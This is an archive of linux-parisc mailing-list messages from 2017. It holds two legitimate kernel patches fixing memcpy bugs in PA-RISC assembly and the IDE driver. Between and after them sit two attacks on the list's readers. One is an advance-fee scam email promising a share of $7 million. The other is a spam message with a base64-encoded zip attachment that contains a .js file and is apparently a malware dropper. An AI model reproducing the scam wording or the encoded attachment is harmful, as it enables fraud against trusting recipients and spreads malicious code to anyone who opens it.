 w6DRXCyLdrbtjIC.X2ardAEP4G2DWAvBIk7VEfEZn2CsMaLGltR83Uelcc7TiYGWvtbDwHAcfSCU
 cPU77._z6CCN1eqK7o_WqIheNOM29dpy6twWXoGKUk7W5XZS0oArHtrHxWdIhjHOzy3WyCMUrux1
 kgfDRJ2FvKGJJXtFSxhcLxvnBMQOFJGXEih5BKte4RCIE8mntWZwvjy7Y_DVS14Gc5qBHfDgnccb
 9g91Y2pRH7MO0iWjnK0ZSTz2dvIPbfU4fmbWJRenOpEMi7UO5hJZvZgp2qOR6QsFZOqmvB7m2Psm
 XSh6MqvxWzO3XbPtIbYvOUvNzll8Loa.b
Original-Received: from sonic.gate.mail.ne1.yahoo.com by sonic316.consmr.mail.ne1.yahoo.com with HTTP; Fri, 14 Apr 2017 09:19:13 +0000
X-Mailer: WebService/1.1.9408 YahooMailBasic Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 967
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27389>

Good Day Dearest.

My name is Sarah JOHNSON I am 18 years old, the only daughter of late Mr. Raymond JOHNSON from Burkina Faso, I am contacting you to help me relocate to your country to continue my university education in  your country, before my father died he gave me a deposit slip document of ($7,000,000 USD) and made me understand that it was because of his position in the government that his government associates planed and poisoned him on a business trip with them to France and he advised me to look for a faithful and reliable foreigner who will help me to transfer this money to his country and help me to relocate over there to continue my studies.

I hope you will help me with the good faith and trust I have in you, after you have secured the money and settle my education, I will give you 30% of the money for your good and kind assistance to me. Please Contact me e-Mail:sarah.johnson197070@yahoo.com 

I am waiting on your reply

Regards,

Sarah.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix bugs in pa_memcpy
Date: Fri, 14 Apr 2017 14:15:20 -0400 (EDT)
Lines: 145
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1704141404470.3534@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1492193724 1759 195.159.176.226 (14 Apr 2017 18:15:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Apr 2017 18:15:24 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: Al Viro <viro@ZenIV.linux.org.uk>,
        John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 14 20:15:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cz5kc-0002or-Ss
	for glpp-linux-parisc@m.gmane.org; Fri, 14 Apr 2017 20:15:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752046AbdDNSPY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 14 Apr 2017 14:15:24 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:52832 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752042AbdDNSPY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 14 Apr 2017 14:15:24 -0400
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.phx2.redhat.com [10.5.11.13])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id B812AEEF1B;
        Fri, 14 Apr 2017 18:15:23 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mx1.redhat.com B812AEEF1B
Authentication-Results: ext-mx09.extmail.prod.ext.phx2.redhat.com; dmarc=none (p=none dis=none) header.from=redhat.com
Authentication-Results: ext-mx09.extmail.prod.ext.phx2.redhat.com; spf=pass smtp.mailfrom=mpatocka@redhat.com
DKIM-Filter: OpenDKIM Filter v2.11.0 mx1.redhat.com B812AEEF1B
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id 5CBEB60A9D;
        Fri, 14 Apr 2017 18:15:23 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id v3EIFMCE006762;
        Fri, 14 Apr 2017 14:15:22 -0400
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id v3EIFKqa006756;
        Fri, 14 Apr 2017 14:15:21 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.13
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.38]); Fri, 14 Apr 2017 18:15:23 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27390
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27390>

The patch 554bfeceb8a22d448cd986fc9efce25e833278a1 ("parisc: Fix access
fault handling in pa_memcpy()") reimplements the pa_memcpy function.
Unfortunatelly, it makes the kernel unbootable. The crash happens in the
function ide_complete_cmd where memcpy is called with the same source and
destination address.

This patch fixes a few bugs in pa_memcpy:

* When jumping to .Lcopy_loop_16 for the first time, don't skip the
  instruction "ldi 31,t0" (this bug made the kernel unbootable)
* Use the COND macro when comparing length, so that the comparison is
  64-bit (a theoretical issue, in case the length is greater than
  0xffffffff)
* Don't use the COND macro after the "extru" instruction (the PA-RISC
  specification says that the upper 32-bits of extru result are undefined,
  although they are set to zero in practice)
* Fix exception addresses in .Lcopy16_fault and .Lcopy8_fault
* Rename .Lcopy_loop_4 to .Lcopy_loop_8 (so that it is consistent with
  .Lcopy8_fault)

Cc: <stable@vger.kernel.org> # v4.9+
Fixes: 554bfeceb8a2 ("parisc: Fix access fault handling in pa_memcpy()")
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 arch/parisc/lib/lusercopy.S |   27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

Index: linux-4.11-rc6/arch/parisc/lib/lusercopy.S
===================================================================
--- linux-4.11-rc6.orig/arch/parisc/lib/lusercopy.S
+++ linux-4.11-rc6/arch/parisc/lib/lusercopy.S
@@ -201,7 +201,7 @@ ENTRY_CFI(pa_memcpy)
 	add	dst,len,end
 
 	/* short copy with less than 16 bytes? */
-	cmpib,>>=,n 15,len,.Lbyte_loop
+	cmpib,COND(>>=),n 15,len,.Lbyte_loop
 
 	/* same alignment? */
 	xor	src,dst,t0
@@ -216,7 +216,7 @@ ENTRY_CFI(pa_memcpy)
 	/* loop until we are 64-bit aligned */
 .Lalign_loop64:
 	extru	dst,31,3,t1
-	cmpib,=,n	0,t1,.Lcopy_loop_16
+	cmpib,=,n	0,t1,.Lcopy_loop_16_start
 20:	ldb,ma	1(srcspc,src),t1
 21:	stb,ma	t1,1(dstspc,dst)
 	b	.Lalign_loop64
@@ -225,6 +225,7 @@ ENTRY_CFI(pa_memcpy)
 	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
 	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
 
+.Lcopy_loop_16_start:
 	ldi	31,t0
 .Lcopy_loop_16:
 	cmpb,COND(>>=),n t0,len,.Lword_loop
@@ -267,7 +268,7 @@ ENTRY_CFI(pa_memcpy)
 	/* loop until we are 32-bit aligned */
 .Lalign_loop32:
 	extru	dst,31,2,t1
-	cmpib,=,n	0,t1,.Lcopy_loop_4
+	cmpib,=,n	0,t1,.Lcopy_loop_8
 20:	ldb,ma	1(srcspc,src),t1
 21:	stb,ma	t1,1(dstspc,dst)
 	b	.Lalign_loop32
@@ -277,7 +278,7 @@ ENTRY_CFI(pa_memcpy)
 	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
 
 
-.Lcopy_loop_4:
+.Lcopy_loop_8:
 	cmpib,COND(>>=),n 15,len,.Lbyte_loop
 
 10:	ldw	0(srcspc,src),t1
@@ -299,7 +300,7 @@ ENTRY_CFI(pa_memcpy)
 	ASM_EXCEPTIONTABLE_ENTRY(16b,.Lcopy_done)
 	ASM_EXCEPTIONTABLE_ENTRY(17b,.Lcopy_done)
 
-	b	.Lcopy_loop_4
+	b	.Lcopy_loop_8
 	ldo	-16(len),len
 
 .Lbyte_loop:
@@ -324,7 +325,7 @@ ENTRY_CFI(pa_memcpy)
 .Lunaligned_copy:
 	/* align until dst is 32bit-word-aligned */
 	extru	dst,31,2,t1
-	cmpib,COND(=),n	0,t1,.Lcopy_dstaligned
+	cmpib,=,n	0,t1,.Lcopy_dstaligned
 20:	ldb	0(srcspc,src),t1
 	ldo	1(src),src
 21:	stb,ma	t1,1(dstspc,dst)
@@ -362,7 +363,7 @@ ENTRY_CFI(pa_memcpy)
 	cmpiclr,<> 1,t0,%r0
 	b,n .Lcase1
 .Lcase0:
-	cmpb,= %r0,len,.Lcda_finish
+	cmpb,COND(=) %r0,len,.Lcda_finish
 	nop
 
 1:	ldw,ma 4(srcspc,src), a3
@@ -376,7 +377,7 @@ ENTRY_CFI(pa_memcpy)
 1:	ldw,ma 4(srcspc,src), a3
 	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
 	ldo -1(len),len
-	cmpb,=,n %r0,len,.Ldo0
+	cmpb,COND(=),n %r0,len,.Ldo0
 .Ldo4:
 1:	ldw,ma 4(srcspc,src), a0
 	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
@@ -402,7 +403,7 @@ ENTRY_CFI(pa_memcpy)
 1:	stw,ma t0, 4(dstspc,dst)
 	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcopy_done)
 	ldo -4(len),len
-	cmpb,<> %r0,len,.Ldo4
+	cmpb,COND(<>) %r0,len,.Ldo4
 	nop
 .Ldo0:
 	shrpw a2, a3, %sar, t0
@@ -436,14 +437,14 @@ ENTRY_CFI(pa_memcpy)
 	/* fault exception fixup handlers: */
 #ifdef CONFIG_64BIT
 .Lcopy16_fault:
-10:	b	.Lcopy_done
-	std,ma	t1,8(dstspc,dst)
+	b	.Lcopy_done
+10:	std,ma	t1,8(dstspc,dst)
 	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
 #endif
 
 .Lcopy8_fault:
-10:	b	.Lcopy_done
-	stw,ma	t1,4(dstspc,dst)
+	b	.Lcopy_done
+10:	stw,ma	t1,4(dstspc,dst)
 	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
 
 	.exit
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ide,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] ide: don't call memcpy with the same source and
 destination
Date: Fri, 14 Apr 2017 14:35:33 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1704141433280.10706@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1492194936 3727 195.159.176.226 (14 Apr 2017 18:35:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Apr 2017 18:35:36 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: linux-ide@vger.kernel.org, linux-kernel@vger.kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: "David S. Miller" <davem@davemloft.net>
Original-X-From: linux-ide-owner@vger.kernel.org Fri Apr 14 20:35:31 2017
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1cz64A-0003GH-KI
	for lnx-linux-ide@m.gmane.org; Fri, 14 Apr 2017 20:35:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753186AbdDNSfg (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
        Fri, 14 Apr 2017 14:35:36 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:1478 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751808AbdDNSff (ORCPT <rfc822;linux-ide@vger.kernel.org>);
        Fri, 14 Apr 2017 14:35:35 -0400
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.phx2.redhat.com [10.5.11.15])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id ADC7A7D0D6;
        Fri, 14 Apr 2017 18:35:34 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mx1.redhat.com ADC7A7D0D6
Authentication-Results: ext-mx02.extmail.prod.ext.phx2.redhat.com; dmarc=none (p=none dis=none) header.from=redhat.com
Authentication-Results: ext-mx02.extmail.prod.ext.phx2.redhat.com; spf=pass smtp.mailfrom=mpatocka@redhat.com
DKIM-Filter: OpenDKIM Filter v2.11.0 mx1.redhat.com ADC7A7D0D6
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id 616A762925;
        Fri, 14 Apr 2017 18:35:34 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id v3EIZXnw010898;
        Fri, 14 Apr 2017 14:35:33 -0400
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id v3EIZXBB010894;
        Fri, 14 Apr 2017 14:35:33 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.15
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.26]); Fri, 14 Apr 2017 18:35:34 +0000 (UTC)
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:63419 gmane.linux.kernel:2456368 gmane.linux.ports.parisc:27391
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/63419>

The parisc architecture recently reimplemented the memcpy function and
their reimplementation crashed when source and destination overlapped.

The crash happened in the function ide_complete_cmd where memcpy is called
with the same source and destination pointer. According to the C
specification, memcpy behavior is undefined if the source and destination
range overlaps. This patches fixes the undefined behavior.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 drivers/ide/ide-io.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: linux-4.11-rc6/drivers/ide/ide-io.c
===================================================================
--- linux-4.11-rc6.orig/drivers/ide/ide-io.c
+++ linux-4.11-rc6/drivers/ide/ide-io.c
@@ -107,7 +107,7 @@ void ide_complete_cmd(ide_drive_t *drive
 
 		if (cmd->tf_flags & IDE_TFLAG_DYN)
 			kfree(orig_cmd);
-		else
+		else if (cmd != orig_cmd)
 			memcpy(orig_cmd, cmd, sizeof(*cmd));
 	}
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <catherine.verge@hcahealthcare.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: 54762 linux-parisc
Date: Fri, 14 Apr 2017 19:16:51 -0000
Lines: 81
Approved: news@gmane.org
Message-ID: <149219741102.21744.3351583577584787212@uninet.ee>
Reply-To: <catherine.verge@hcahealthcare.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="05920.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1492197413 10762 195.159.176.226 (14 Apr 2017 19:16:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Apr 2017 19:16:53 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 14 21:16:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cz6i9-0001OH-Ff
	for glpp-linux-parisc@m.gmane.org; Fri, 14 Apr 2017 21:16:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754220AbdDNTQz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 14 Apr 2017 15:16:55 -0400
Original-Received: from tigris-isdn-131.uninet.ee ([194.204.61.131]:2630 "HELO
        uninet.ee" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with SMTP
        id S1751854AbdDNTQz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 14 Apr 2017 15:16:55 -0400
X-Greylist: delayed 599 seconds by postgrey-1.27 at vger.kernel.org; Fri, 14 Apr 2017 15:16:54 EDT
Content-Disposition: attachment
Importance: High
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27392>

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
